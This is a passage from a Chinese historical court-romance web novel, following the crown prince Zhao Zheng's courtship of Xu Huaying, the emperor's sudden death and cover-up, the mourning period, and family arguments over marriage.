卧病之人沉重的眼皮缓缓睁开,目光隔着帐子落在他脸上,片刻,好似从那场不安的梦中醒神,怅然道:“太子来了。” 说着,视线越过他,看向他身后之人,声音冷清:“官家。” “吵醒你了?”昌隆帝问着,上前一步,将那隐约朦胧的纱帐揭开。 小宫女连忙接过那帐子用金钩挂好,又来扶皇后娘娘。 “你身子不好,礼便免了吧。”昌隆帝抬手搭在她削瘦的肩上,止住她欲起身行礼的动作。 平嘉皇后眼眸微垂,淡淡道:“多谢官家。” 这句说过,殿中静了一瞬。 昌隆帝问:“方才梦见太子了?” “做梦罢了,还以为是在王府,太子幼时。”平嘉皇后靠在迎枕上道,语气之寡淡,愈发显得方才的梦怅然若失,感今怀昔。 昌隆帝松垮的眼皮垂下,看着俯身跪在榻前的儿子,忽的生出几分难以言喻的复杂情绪来。 赵徵是他头一个子嗣,那时,他与皇后还时新婚初成时,娇妻稚子,那种初为人父的悸动与喜悦,是之后哪个孩子出生都比不上的。 太子天资聪慧,先帝时常夸赞,昌隆帝又何曾不骄傲? 可是,太子愈是聪慧,便显得他天资平平。 他更是忘不了先帝驾崩那日,殿中跪着几位肱骨重臣,他被召去,跪在榻前,听着先帝立下了立赵徵为皇太子,若无反乱,永不可废的遗诏。 昌隆帝不知是该因终于得偿所愿,荣登大宝而狂喜,还是因那诏书而痛疾。 此后,他有许久不愿见着赵徵,殿中跪着的徐鉴实四人。 他的皇位得来名正言顺,却又好似从未名正言顺过。 平嘉皇后眼角余光扫过昌隆帝的神色,道:“官家案牍劳形,不必在妾身宫里耽搁了,韩贵妃替官家怀着龙嗣,官家多关切才是。” 话音刚落,嬷嬷进来禀道:“娘娘,韩夫人想要去探望韩贵妃娘娘。” “准了,”平嘉皇后道,“韩夫人难得进宫,让她多陪贵妃叙叙话,若是留在贵妃宫里用午膳,稍迟些好生将人送回府。” “是。” 嬷嬷福身后退下了。 昌隆帝道:“皇后怎的召徐夫人进宫了?” 平嘉皇后垂着眸子没答。 旁边的小宫女观着脸色,小声道:“娘娘昨夜梦魇,梦见了故去的老夫人,体贴贵妃娘娘怀有身孕,难免想要见见母亲,可贵妃娘娘名声喧嚣,娘娘也得顾着宫中其他娘娘们,这才以侍疾之名,请了韩夫人进宫,本也是要将人留个两刻钟吃盏茶,再请去贵妃娘娘处的。” 她没提福宁宫门前闹的那场,也没说嬷嬷脸上的那巴掌红印。 可是,昌隆帝知道了,也看见了。 片刻,昌隆帝道:“让人去做些清淡的饭菜,晌午我陪皇后用。” “是。”小宫女福身退下了。 昌隆帝沉吟片刻,道:“近日户部在忙着重修鱼鳞图册,此事虽是繁琐,但也获益匪浅,太子去吧。” “儿臣领命。”赵徵俯首。 赵徵从福宁宫出来,便见闻津等在外面,一脸的心虚模样。 “怎么?”赵徵问。 闻津面露难色,将一张信笺递来,而后悄摸摸的退后几步。 赵徵展开那像是自哪处随意撕来的半截纸,只见上面龙飞凤舞的书—— 城东,十两银子,来赎人! 赵徵眉微蹙,抬眸看向闻津。 “怎么回事?” “老七送回来的,说是……”闻津咽了咽喉咙,又退后一步,小声说:“这是徐大小姐给的,老八给她扣下了。” 赵徵:…… 他脸上浮红,有些无言的恼道:“不是让他在东宫当值?” 闻津讪笑道:“老五今儿病了,便让老八替了他去,他也不知老八先前被徐大小姐捉住过……” 赵徵闭了闭眼,一副不忍再听的神色,耳根连着脖颈,染了一片绯红。 半晌,他抬脚出了宫道,冷漠无情的说:“让他扣着吧。” 跟在后面的闻津瞪圆了眼:“……啊?” 不救一下子吗? 前面赵徵咬牙切齿声传来。 “让他自生自灭。” 第64章 我徐华缨喜欢谁,谁便是…… 晌午时分,城东。 酒楼飘香。 门前行人接踵,街边还有老翁卖葡萄的。 “赵郎君!” 忽的,一道清脆的欢喜声。 赵徵抬眼,便看见了趴在楼上窗前笑看着他的姑娘。 华缨今日难得规规矩矩的梳着发髻,额前画花钿,笑吟吟的模样更胜髻上那朵芙蓉。 赵徵微颔首,便听她又道—— “来赎人啦?” 赵徵脚步一滞,生出些想要扭头就走的窘迫来。 他面色泛起些潮红,还未开口,便见她招手。 “上来!” 闻津跟着赵徵上来楼上,待看清雅间儿里的情景时,心想,殿下让老八给扣着当真是好主意呢,又何必救他? 桌上满盘佳肴,华缨临窗而坐,一侧坐着姚宝湘,一侧是那大快朵颐的暗卫。 “殿下……”老八啃着鸡腿喊了声,惭愧得脸都发烫了。 今日老五不能当值,他便自告奋勇了,原是想一雪前耻,他堂堂太子贴身暗卫,怎能轻易被人察觉行踪呢! 老八颇觉委屈的朝旁边穿着花裙子的小姐瞧了眼,这人…… 罢了,她还给他吃鸡腿儿呢。 赵徵一脸难尽之色,面上红潮还未褪,又扑起一层来。 他自袖袋里掏出两锭银子放在桌案上,干巴巴道:“可否让他走了?” “噗!”姚宝湘当真是没忍住,口中的甜汤喷到了对面坐着的人质脸上,“咳咳咳……对不住啊……咳咳咳咳……”。 老八啃着鸡腿,傻眼了。 后面竖着耳朵站着的闻津都有些不忍直视呢。 华缨也有些忍俊不禁的噗嗤笑了声,一双桃花眼弯起漂亮的弧度,眸子里盛满了笑意,故意逗人玩儿似的,“可他还吃了我的鸡腿儿,”她说着,小下巴朝桌上佳肴轻抬了下,“喏,都是他吃的,酒菜钱殿下可带了?” 赵徵默了一瞬,又掏出两锭银子来,与桌案上那两锭排排坐。 华缨露出两排小白牙,笑眯眯道:“士别三日当刮目相待,殿下也是呢。” 赵徵:…… 闻津带着啃鸡腿儿的老八出去了,将厢房门阖上,隔绝外面食客醉酒的喧闹声,又将桌上菜色换了一桌新的来。 赵徵颇为坐立不安,越是久,越是深觉梁上悬刀未落之感,一顿饭味同嚼蜡。 结账出了酒楼,华缨与姚宝湘行在前面,赵徵走在后面,日光甫一照来,他被晒得微微眯眼,便见华缨回头瞧来。 赵徵霎时浑身一凛,犹如浇了满身的凉水。 她是要问了吧? 自方才见着,华缨也只是打趣的问他可是来赎人,纯粹的故意打趣,惹他羞臊。 可她偏不问他意欲何为,倒是显得他居心不良…… 赵徵想着一顿,木然的眼睑微垂。 他也确实居心不良。 “殿下,可要去跑马?”华缨问。 赵徵神色怔了下,随即摇首,“今日不行,我领了与户部诸位大人编修鱼鳞图册的差事。” 这话,反倒是让华缨愣了下。 鱼鳞图册乃是户部紧要的差事,来日功绩簿上,少不得要留太子名讳,这样的好差事,昌隆帝当真让赵徵去?到底是她小人之心了,还是其中另有图谋? “若你明日闲暇,傍晚时,可同去城东外跑马。”赵徵又道。 “好啊。”华缨笑眯眯的应下,那眸光闪了闪,道:“那我可问殿下,为何让人跟着我了吗?” 赵徵刚不知觉放下的心,霎时提起,好似有一只小手轻捏了下,使他呼吸都停了瞬,有些羞愧的别过脸,看着那午后静谧的街角,喉咙滚了几下,在那双灼灼目光下,他干巴巴道:“对不住……” “道歉就别说了吧,殿下分明是有意为之,”华缨说着,双手揪着裙摆,上来一阶石阶,目光更靠近他些,“也是明知故犯。” 这样被教训的话,赵徵便是在学宫读书时,也未受过几次,这会儿子,被她明晃晃的戳破来,一张脸轰然红透,难为情得向后退了半步。 华缨好似很稀罕他这副羞臊难当的模样,那双眼睛紧瞧着,唇角弯着,仰头看着他的眸子里盛着浅淡的日光,她步步紧逼道:“殿下想知道什么,不妨直接问我。” 这样近在咫尺,已然越了规矩礼数。 可赵徵这回没退,看着她靠近,心口涨得厉害,他张了张唇,道:“我想瞧瞧,是哪家郎君让你倾慕。” 虽是羞于启齿,但他实话实说。 这半月夜半难眠,卑劣性在深夜藏不住,她总是忍不住想,那夜他若是与她表明心意,可会让她有些许为难? 话出口,却是见那双眼睛笑意更甚,像是只故意耍人玩儿的狡黠狐狸。 赵徵喉结轻滚了下,忍不住别过脸去。 华缨脑袋歪了歪,跟着他的目光动,“殿下为何要问我心上人是谁?” 赵徵看着她鬓间那朵芙蓉花瓣颤了颤,心也好似跟着轻晃了下。 若是心有属意,该禀告双亲,父母做主,与对方长者私下互通心意,再好生请媒人上门提亲,三书六礼,聘之为妇。 可若二人互通情意,那是私相授受,为礼不齿。 可他…… 赵徵喉间微涩。 “是我冒犯了。”赵徵拱手赔礼道。 华缨未避让,脸上的笑意淡了些,“殿下既是不坦诚,便也不要想着窥探旁人的心意,无论我喜欢的是谁,都不会是胆小怯弱的蠢蛋。” 说罢,她朝赵徵潦草的福了福身,“还有事,先走一步。” 说着,华缨转身就走。 那朵芙蓉不见,眼前的日光白得刺眼,赵徵有一瞬的眼晕,回过神来时,话已然脱口而出—— “心悦你。” 芙蓉红的裙摆旋起,犹如湖水涟漪,裙摆下的绣鞋停住,面朝日光而行的人唇瓣翘起,有几分得逞与欢喜。 “因为心悦,是以,”赵徵脑中空白一片,耳边的声音都在瞬间倏然远去,他甚至能听见胸口的跳动声,“想知道为何是他,而不是我。” 华缨转身看他,那股子欢喜并未瞧得出,她道:“方才还有一句未说,我徐华缨喜欢谁,谁便是盖世英雄。殿下,你觉得你是英雄,还是蠢蛋?” 说罢,转身扬长而去。 赵徵怔愣片刻,忽而扬声问:“那明日跑马……” “如期之行。”华缨高抬手臂挥了挥,踩着脚凳钻进了马车。 马车里,姚宝湘一出戏瞧得意犹未尽,连声啧啧。 华缨脸不红心不跳,拿了个冰果子啃。 姚宝湘轻撞下她的肩膀,揶揄道:“行啊,徐大胆儿,这眼角眉梢都透着春风得意。” “表姐何时会看面相了?”华缨睁着弯弯的桃花眼,抬手点了点自己的眉心,模样认真问:“这儿有啥?” 姚宝湘捧着她的脑袋,煞有介事的瞧,片刻,肃然道:“有灾。” 华缨:。 姚宝湘:“情债。” 华缨:…… 姚宝湘大抵是乌鸦嘴。 当夜,宫中传来了噩耗。 昌隆帝驾崩了。 享年三十九,驾崩于永宁九年,八月十六。 华缨是被那悠长的丧钟惊醒的。 每响一声钟,心便跟着一沉。 春居堂很安静,但她能想到祖父院中会有多忙乱。 徐九涣也披着衣裳出来了,脸上还有酣睡时压着的印子。 华缨懵懵的,心口却好似塞了千斤顶,看见他,她呐呐的喊:“爹爹……” “嗯。”徐九涣应了声,“天塌不下来。” 父女二人出了院子,在堂院见到了身穿朝服,匆匆要出门的徐鉴实父子。 徐鉴实看见孙女有些恍惚的脸色,来不及多说什么,只道:“时辰还早,回去睡吧,这几日少出门玩儿。” 华缨木木的点头,就见祖父和二叔一前一后的携了满袖的风出了府去。 宫中灯火通明。 得了令的宫人们忙进忙出。 殿中,昌隆帝便是连丧服都没,身上盖着一床明黄锦被,勉强遮着不堪。 今夜,昌隆帝是宿在韩贵妃宫里的,近侍在外守夜,刚要入梦,忽的听得一声刺耳尖叫声,惊觉不对,忙入了内殿,便见昌隆帝瞪着眼珠子跪趴在床上,赤裸的胸膛与脸上透着惊悸的红,帐子里面,韩贵妃被吓得凄声尖叫,勉强扯着锦被遮掩着身子,好似失了神志。 近侍也被眼前景象吓傻了,好半晌,连滚带爬的出去,惊动了外面的侍卫。 “官家、官家驾崩了……” 侍卫浑身一怔,连忙分路去了。 平嘉皇后与赵徵几乎是前后脚过来的,进殿时,平嘉皇后眉眼间满是寒霜,侧首吩咐道:“你先别进来。” 赵徵顿了下,止步于殿外。 他听着里面平嘉皇后让人将韩贵妃绑了,殿中伺候的宫人都关了起来,度过方才漫长的寒冷与失声,此刻听着殿中凄声尖叫,他心口竟是异常平静。 平嘉皇后让人堵了韩贵妃的嘴,将人拖出去,她入了内殿,盯着乱糟糟的床帐内,那姿势怪异死去的人,满眼的恨。 自己荒淫无度便罢了,竟是以这颜面尽失的法子死去,来日史书之上记载,都要连累她与太子,有这样一位死于马上风的夫君与父亲! 何其可恨!!! 第65章 国丧。 平嘉皇后下令,将昌隆帝抬回了尘光殿。 稍后有群臣来见,在韩贵妃宫里,到底是不成体统。 太医比众臣来得快些,上前瞧过,与平嘉皇后低声禀道:“官家瞧着,是服过药的,身子受不住那药性,这才……” 他斟酌答话,却是字字为难。 太医署的宫人,比旁人知道的多些。 昌隆帝沉湎酒色,早就被掏空了身子,那药虽是不伤身,但他这副虚弱躯壳又哪里受得住?惊悸之下,这便没了命。 昨日晌午,昌隆帝留在福宁宫,陪着平嘉皇后用了午膳,之后便去了前殿处理公务。傍晚时,听说韩贵妃以身子不适为由,请了官家去。 平嘉皇后听罢,不屑嗤声。 昌隆帝只是在她宫里用了午膳,韩贵妃这就坐不住了,急不可耐的请了人去。 只是她没成想,昌隆帝竟是还用了药。 昌隆帝待她病症一无所知,平嘉皇后对他也分毫不关切。 夫妻做到这种地步,委实唏嘘。 平嘉皇后静默片刻,而后朝他示意,“给弄得体面些。” 昌隆帝是死了,可是她还活着呢,她不要一个死于马上风的夫君。 太医为难,“这……” “掰断了也无甚要紧的。”平嘉皇后又道。 太医:! 众臣求见进殿时,隔着一道明黄帐子,昌隆帝双眸紧闭,面容平静的躺在榻上。 “官家忧心国事,心悸不支,都没等到太医来,便去了。”平嘉皇后面色难过道。 她话音落下,殿中鸦雀无声。 太医垂首躬身站着角落里,衣袍下的手隐隐发抖。 平嘉皇后要给昌隆帝安一个体面驾崩的名头,可今夜见过昌隆帝这副死状的宫人不在少数,她要如何堵得住众人的嘴? 还有他,他要如何? 众臣未听得旁的,此时发懵的脑袋缓下来,渐渐的浮上了些悲楚。 昌隆帝驾崩得太过突然,丧服棺椁都还未备好,身上盖着明黄锦被,众臣也不好瞻仰遗容。 丧仪由平嘉皇后与礼部官员主持,嫔妃、文武百官乌泱泱的跪了满殿。 殿中安静,香火缭绕。 隐隐能听见低声抽泣。 五更天时,众臣拥立着身着缟素的太子继位。 卯时初,华缨跟着婶娘进宫,与一众诰命夫人、官家小姐,前往停灵的大殿去为昌隆帝跪灵。 她哭不出来,神色木然,鼻端缭绕着香火,心却是不安。 思索半晌,竟也无端缘由。 宋喜余光看见,偷悄悄的塞给她一个帕子,示意她闻一闻。 华缨不解,神色狐疑,垂首在袖子里掩着的帕子轻嗅了下,一股子辣劲儿直冲眼睛,唰的一瞬,泪流满面。 华缨:…… 赵徵便是这时过来的。 二人目光对上,华缨看见他好似吃惊得步子都顿了下。 华缨顶着那满脸的泪看着赵徵,他好像……还好。 赵徵抬脚进来,经过她时,自袖中掏出帕子递给她,而后不发一言的上前,跪于棺木旁,往那香火盆里添了几只往生之物的金元宝。 华缨旁边跪着的几位夫人贵女察觉方才的动静,不禁看向华缨,顿时一惊,哭成了这模样! 几人也忙垂首,努力的憋眼泪! 跪了一个时辰,辰时初,小太监过来送饭,众人前往偏殿用饭,也能坐着歇息两刻。 到底是丧事,肃穆又安静,今日的天儿也不好,灰蒙蒙的一层,惹得心口也惴惴不安。 华缨跟在后面,抬脚跨出大殿,回头瞧时,便见赵徵跪着,目光低垂,怔怔的看着那只满是灰烬的香火盆。 早饭都是些清淡的粥饭饼子和小菜,饶是御厨手艺,也吃不出几分好来。 众人安静的吃完,小宫女前来收拾了碗筷。 殿中无人说话,好似还笼罩着昌隆帝驾崩的难过。 歇了两刻,众人回去继续跪灵。 赵徵已经不在了,却是见殿中整齐摆着软垫,闻津在殿外道:“是殿下吩咐的。” 众人循循入内,华缨经过闻津时,细布宽袖擦过了他的手。 晨钟杳杳,宫中上下满是缟素,东宫亦如是。 闻津叩响书房门,进来呈上一张信笺,道:“徐大小姐给的。” 桌案上堆着几摞奏疏折子,有些是昌隆帝批阅过的,有的是还未来得及批阅的,这都是方才从尘光殿搬来的。 一夜未合眼,赵徵脸上神色寡淡,却是未见疲态。 闻言,他目光自奏疏抬起,落在闻津手上。 是他清晨时递去的那方帕子。 赵徵伸手接过,柔顺的绢丝展开,上面的字迹一如那日潦草。 改期! 好好吃饭! 非是墨迹,炭黑之色,倒像是姑娘描眉之物。 赵徵不觉抬起手,将那方帕子托于鼻端轻嗅,是一股熟悉的清香。 他殿中宫人常用的熏衣之草木香。 赵徵怔忪了下,继而又垂眸,眉眼神色松懈。 案前站着的闻津,瞧着他家殿下的动作,一副见了鬼的吃惊表情,在赵徵抬眼时,连忙拱手,扭身就走! “……去端饭菜来。”赵徵看着那道坚定的背影,吩咐道。 闻津浑身一激灵:“是!” 赵徵:…… 昌隆帝驾崩三日,宫中禁卫军守备换了一茬儿,后宫被平嘉皇后掌控着,她欲要将殿前司都指挥使换作苏余兴时,被太子——如今的景祐帝拦下了。 赵徵知道她想做什么,那日韩贵妃宫中当值的宫女太监,如今还被关着,还有昌隆帝的近侍和侍卫。 比起昌隆帝驾崩,平嘉皇后更在乎日后史书之上给她冠的名讳谥号。 平嘉皇后想要昌隆帝驾崩的辛密永不见天光,最好的法子便是让那些知情人无存活于世,而做这事之人,只能是苏余兴这个国舅。 赵徵面色平静,“他们不该丧命。” “你可知你心慈手软,会是来日之祸患?”平嘉皇后横眉竖目道。 赵徵默了片刻,道:“宫中冤魂太多了。” 母子俩的争执,不足为外人道。 赵徵白日里处理朝政,晚上会到大殿跪两个时辰的灵,朝臣闻之,甚是欣慰。 而华缨跪了三日灵,人都跪麻了。 纵然有软垫,也委实是受罪的紧。 晚间,徐鉴实下值回来,家里几人还在等他用饭。 这几日,他也忙得厉害,新帝甫接朝政,少不得他与几位朝臣多辅政操心,一日下来,脸上的疲惫难掩。 “祖父,你都老了。”华缨伸展两条腿,让膝盖缓缓,瞧着他鬓间丝缕华发,幽幽道。 徐鉴实吃了碗茶,叹声:“是啊。” 华缨眼珠子转了转,蹭过来,挽着他的手臂撒娇道:“祖父,您打算几时致仕啊?我陪您去归园田呐~” 徐士钦一口解渴茶噗的喷得均匀,瞪着眼珠子满脸惊慌,“咳咳……” 致、致什么东西? 被殃及的徐九涣扯了扯被溅了茶水的袍子摆,啧声道:“赔钱!” 徐士钦哪儿顾得上他啊,睁圆眸子,竖起耳朵望着老爹。 “再等等吧,”徐鉴实缓声道,“吾帝年少,豺狼环伺……” 景祐帝年十九,还未弱冠,这样的幼主,只怕是南边儿几位王爷异动,更甚者,北地边关,也得防范,事有许多,他还未能全然放心交给后辈。 华缨脑袋抵着祖父的手臂,鸦睫垂着,在眼睑落下小片暗影。 她忽的有些明白,自己这几日惴惴不安的缘由了。 昨日之赵徵,今朝之景祐帝,不同了。 她其实是害怕的,史书也好,野史也罢,自古至今,权倾朝野之人,有几个是有好下场的? 赵徵不同于昌隆帝,昌隆帝天资平庸,虽是有些算计,但朝政之事,也多依赖徐鉴实几位老臣重臣,可赵徵年少,野心勃勃,掌权之后,只会将权势收拢,尽数掌控,如此帝王,是臣民之福,也自忧患。 这些,华缨没多说。 她知道,祖父也定是知晓的。 华缨没当过朝臣,不懂那种为百姓,为朝政鞠躬尽瘁死而后已的责任感。 她想要祖父替自己考量打算,安享晚年。 可是,祖父有自己的事要做。 如她想要杀孟固安一样。 谁劝也无用,哪怕前路艰险,也要奋力一试。 帝王丧仪,出殡之日,全城缟素。 华缨没去观礼,成日待在家里与米糕玩儿。 快要长蘑菇时,姚宝湘来找她玩儿了。 帝王丧,便是寻常百姓,也要守丧,百日之内不可行婚嫁之事,宴请奏乐。 因此,不管是镇国公府与博望侯府的亲事也好,还是姚宝湘与段晁的亲事也罢,因着这国丧而耽搁了下来。 姚宝湘瞧着倒是挺乐的,嘬嘬嘬的用米条逗着小白狮玩儿。 华缨歪在榻上,瞧着这一人一狗,懒洋洋的问:“你的婚日改到了哪日?” “明年春日里。”姚宝湘乐滋滋的说。 华缨瞧着她叹了声气,“段世子都要哭了吧。” 姚宝湘眸子一瞪,有些羞道:“胡说什么呢。” 华缨可是见过段晁傍晚从营中赶回来,只为了陪姚宝湘乞巧放河灯。 姚宝湘性子骄纵些,故意折腾人,这个画样描得不好看,那个花灯扎的丑,挑三拣四,可那健硕的将军也无不耐,慢吞吞的陪着她挑。 姚宝湘被她盯得面上逐渐发烫,忍不住过来挠她痒,羞道:“说得我好似急着嫁呢!” 华缨打了个滚儿,笑眯眯道:“分明是段世子急着娶表姐呢。” 姚宝湘的婚期重新择了明年春月,京中各家盯着的镇国公府,苏扶楹却是没如众人所想的那般,顺势与博望侯府退亲,而是将婚期请在了冬月初一。 第66章 书信。 镇国公府。 日光浓烈,房中花团摆满了案桌,苏扶楹握着把剪刀正修剪花枝,对面坐着的她阿娘,神色期期艾艾,面前的茶都凉透,想说的话还是难以启齿。 苏扶楹也不催促,安静的插花。 好半晌,明氏张口道:“阿楹,要不还是让你爹,去将博望侯府的亲事退了吧……” “阿娘今日来,便是来当父亲的说客的?”苏扶楹抬起眉眼问。 日光浅薄落在眉眼间,她的神色浅淡,“阿娘为何要听父亲的?还是也以为女儿这桩亲事不好?” 明氏被她问得有些说不出话来,一急,眼圈却是先红了。 苏扶楹深吸口气,她看着手中那枝明艳的秋海棠,道:“我自有我的成算,博望侯府再是不好,也不必受血亲的挟制,我受够了这样的日子。” “阿楹……”明氏眸底微怔,好似难过极了,眼泪顺着流下。 “阿娘觉得我说的这话不对?”苏扶楹自嘲的笑,“我有爹有娘,却是如没有一般,委实是……有些羡慕魏青鹤。” 明氏帕子掩唇,呜咽哭出了声。 “便是入宫又如何,隐忍小心,守着那妃位过一生,若是运道好,膝下会有一子半女,可官家那样冷心肝儿的人,待我的孩子又会有几分父亲的宽厚仁慈?我不想过这样的日子,亦不想我的孩子日后只有尊崇的身份而感受不到半分亲爹的关怀。” “阿娘,我劝你多少年了,可你从未有一次站起来,也从未有一次护着我,父亲要纳妾还是要抬妾室,都随他去,你是正房娘子,是三媒六聘娶进来的,手中握着花用不完的嫁妆,怎就非要瞧着男人的脸色过日子?” 苏扶楹眉间微蹙,她当真是想不明白,五岁时不懂,十五岁依然不懂,到如今将要出嫁,还是忍不住想问。 “你还小,你不知道一个妇人不能为夫家绵延香火……”明氏委屈哭诉。 苏扶楹闭了闭眼,不耐的打断她的话,“你有我,如何就是不能绵延子嗣了?华缨的爹爹,膝下也只她一个闺女,可是徐家世伯从未说过华缨不如男子,更是至今未续弦纳妾!徐世伯将华缨视为骄傲,阿娘……”她胸口急促的呼吸,声音隐隐颤抖,“阿娘怎就不能以我为傲呢?” “阿楹……” “阿娘回吧,今日我事忙,还得清点嫁妆。”苏扶楹说着起身,“日后若还是要说此事,便不必过来了。” “她是被那魏青鹤下了降头不成?一个破落侯府有什么好嫁的,官家如今后宫空虚,待得百日丧过,她就是第一位后妃,这般情分,还怕官家日后亏待她?”平嘉太后揉着额角道,“我一个做姑母的,还能害她不成?” 镇国公搓了把脸,也烦的紧,有些难为道:“我如今也做不得她的主,她要嫁那魏青鹤,魏家也不愿退亲,我能有什么法子?她娘也劝了,没用。” 说来说去,还不是没早早的定下亲事,不然怎会有后面这烂摊子。 苏余兴说着叹气,试探问:“要不,换老三家的姑娘?” 平嘉皇后瞪他一眼,“那个没脑子的,只会争强好胜,将她纳入宫里来,都不够给我添堵的。” 平嘉皇后虽是厚此薄彼,但是府中嫡出庶出的侄女儿们,她都遣派了嬷嬷好生去教的,可除了苏扶楹,她竟是无人能用。 容貌出挑的,性子也出挑,半分不知忍让便罢了,嘴上还处处挑头儿,没得让她心烦的。 可那性子娴静的,胆子也小,便是进了宫,也是那默默无闻的,又能帮衬家里什么?平白费一番力气罢了。 苏扶楹倒是个好的,性子坚韧,脾性也好,知进退,懂礼数,容貌姣好,聪慧有识,可偏偏,她非要一脑袋往那破落门第钻,半分不听劝。 镇国公耷拉脑袋半晌,将出宫时,忽的想起什么,又低声问:“那个韩贵妃……” 平嘉太后神色不善道:“官家要保她,说是她怀着先帝的龙嗣,”说着,她冷笑了声,“从前倒是不知,官家竟是还有一副菩萨心肠。” 苏余兴听着这话,后知后觉的觉出些不对来,又听平嘉太后道。 “让她生,我倒是要瞧瞧,她能生出个什么东西来。” 苏余兴心想,生啥,不是小公主就是小皇子呗。 不过,如今太子名正言顺的继位,就是生个小皇子也不足为患,再说,宫中的皇子——如今的王爷还少吗? 从前的尘光殿,如今改名为崇宁殿,赵徵的寝宫。 前面的崇政殿,觐见群臣。 “这是户部大人呈上来的,今年各地的秋税名册。” 九月始收秋税,用的还是旧的鱼鳞图册,十月初,各地使官快马加鞭的将名册送往汴京来。 又商议了两刻的冬日官员考核之事,徐鉴实躬身告退,抬脚将出崇政殿。 “太傅。” 身后赵徵忽的又出声。 徐鉴实脚步一顿,回身拱手道:“官家还有吩咐?” 闻津伺候在旁,都替他急,两只手紧攥着,表情使劲儿。 赵徵默了一瞬,道:“徐大小姐,近日可有收到书信?” 徐鉴实:? 华缨今日得闲,撩起袖子乘兴在院中作画呢,就听下人来报,祖父唤她过去。 “祖父今日回来的这样早?”华缨眼睛一亮,“也不知可给我带了糖葫芦!” 华缨收拾了自己的大作过来堂院时,华敏和华宋姐弟俩也在,正被徐鉴实考教功课,耷拉着两张苦瓜脸。 华缨装乖道:“祖父唤我?” 话出口,就见徐鉴实挥挥手,竟是将姐弟俩放了去,一副待她严肃的神色。 华缨:? 她近日没惹事啊,乖乖的呢。 华缨狐疑走近,问:“祖父忘记给我买糖葫芦了?” 徐鉴实眼皮狠抽了下,就连那把美髯都透着无奈,“先不说糖葫芦,祖父问你,你与官家可有通书信?” 华缨眼珠子滚了半圈,咕哝问:“谁胡乱传我闲话?” 徐鉴实神色顿时变得一言难尽,他深吸口气,缓缓吐出,“……官家。” 华缨:。 对着几双好奇得圆睁的眸子,和祖父满是担忧的眼神,她耸耸肩道:“没有。” 自那回宫中跪灵罢,华缨便没再见过赵徵,府中是有收到几封递给她的书信,都是赵徵写来的,大抵是怕给人知晓,徒惹闲话,那书信都是驿站的小厮送来的。 只是,华缨没有回过罢了。 她对赵徵有喜欢是真的,如今敬畏害怕他也是真的。 顿了片刻,华缨一脸认真的又道:“我从前放浪形骸,与官家是有大放厥词,可如今都改过自新了呢,我知晓轻重的,祖父安心。” 徐鉴实哪里能安心? 便是从前成禧帝赐婚,徐鉴实都没当真她会成为太子妃,如今的皇后。 徐家的男子,不靠姻亲在朝堂立足,亲事选择,向来最重品性,权势于他们父子,无甚紧要。 旁的便罢了,徐鉴实唯恐她会喜欢上赵徵。 “泱泱,深宫不好待,你性子随了你爹,最是不甘被约束……”徐鉴实忧心忡忡道。 华缨点脑袋,“是呢是呢!” 徐鉴实:…… 晚间,用过饭,徐九涣难得的被老爹留下了。 “做甚?”他咬着闺女给留的半根糖葫芦问。 徐鉴实瞅着他有些心塞,长孙女多懂事啊,不值几钱的糖葫芦都要给这个当爹的留几颗,这混账当西也当真是厚脸皮,与闺女争一口吃食。 “泱泱的亲事,你可有打算?”徐鉴实直接问。 “亲事?”徐九涣咔嚓咬着糖葫芦,“什么亲事?她才几岁啊。” 徐鉴实:…… “泱泱都及笄了,寻常姑娘家,这个时候早该忙活着相看了,十六定亲,十七出阁,你……”他说着,又不禁的嫌弃,“亏得你是亲爹,成日里不着四六的满街瞎晃,还吃,还吃得下?” “怎的吃不下啊,几颗果子罢了,又不占地儿。”徐九涣无辜道,“我闺女又不是寻常姑娘,旁人成亲与她何干?她想做甚就做甚,哪日遇得想嫁之人,我便是躺在那门前,那也是拦不住的,她若是未有成亲之意,逍遥一世又何妨?人之短短一世罢了,作甚委曲求全的让旁人欢喜?” “你……” “是啊,我不也未娶妻嘛。”徐九涣拍着胸脯说。 徐鉴实也噎了下,恼道:“上梁不正下梁歪!” “这话你去与泱泱说啊,”徐九涣理直气壮,又故意气老头儿,“我还是你的下梁呢!” 说罢,闪身跑走。 “逆子!”徐鉴实气得追了两步骂。 春居堂檐下亮着灯,徐九涣大步流星的回来,径自过去拍了两下闺女的门,“来,咱爷俩儿闲聊会儿。” 窗棂被推开,冒出来一颗脑袋瓜,华缨喊:“进来啊,外面多冷呢。” 已然十月中旬了,晚间风凉,华缨早早的便将门窗关好了。 徐九涣闻言,推门进来,就见她舒舒服服的给自己搭了个巢窝着,茶果点心就在手边,身上还盖着件白狐裘,一卷画轴铺满了软榻,她瞧得正起劲儿。 “这什么?” 徐九涣好奇问。 “芳表姐给我的,说是汴京如今流行这样作画。”华缨托着脸,笑眯眯道。 徐九涣瞧了两眼,明白了,这一张画卷便是一个故事,软榻上铺陈的这张,小姐郎君都是肉圆脸,豆豆眼,倒还算是惟妙惟肖。 “寒门贵子中状元,迎娶官家小姐的话本子早不新鲜了,何至于瞧得这样认真?”徐九涣卷起半边儿,自己寻了个空坐。 “这憨货小人儿,我喜欢。”华缨指着那咧嘴笑的豆豆眼说。 姚宝湘压箱底儿的话本子都被她瞧过了,华缨自是对这俗套故事无甚有趣,可是这画风她喜欢呀,瞧着便生欢喜。 “爹爹寻我说什么话?”华缨抬眼问。 “你祖父方才问,你可看上哪家郎君了,说是要替你说亲。”徐九涣拿了颗青枣啃,大喇喇的道。 华缨眨了眨眼,有些不好意思,“爹爹不是知道?” 徐九涣咔嚓咔嚓咬着青枣,有些不悦的睨她一眼,“不挑挑了,就他啦?” 华缨想了想,老实摇头,“不知道。” 湘表姐虽是因亲事延后而欢喜,可是华缨瞧得出来,她还是期待嫁给段晁的,姑娘成亲时手持的扇子,湘表姐都绣了三幅扇面了,可不是嫌这个针脚不好,就是那方丝锦不好,其实,她是嫌时辰太慢,成婚之日遥遥。 华缨却是没想过与谁成亲,她见到赵徵会欢喜,不见时,也时常有念,可是这些,不足以让她跨出那一步。 如今的景祐帝,不再是她熟悉的太子了。 华缨其实是有些难过的,她也刚刚喜欢一个郎君呢。 第67章 你再说一遍。 徐九涣咬着颗青枣,唇角不觉翘起,越翘越高,笑容灿烂。 华缨瞅见,鼓着脸表情幽怨,“爹爹开心什么?” 她都不会快乐了呢。 “咳咳……”徐九涣清了清嗓子,吐出一颗青枣核,绷着一副正经模样道:“笨。” 华缨:? 徐九涣努力压着想要绽放的唇角,学着徐鉴实那副口吻,循循道:“爹跟你说,男人啊,不靠谱!” 华缨:。 “那些个男人,今日跟你说的话,只限今日有效,来日便是另番光景了。” 华缨张了张唇,小声说:“赵徵未与我说什么,都是我说的。” 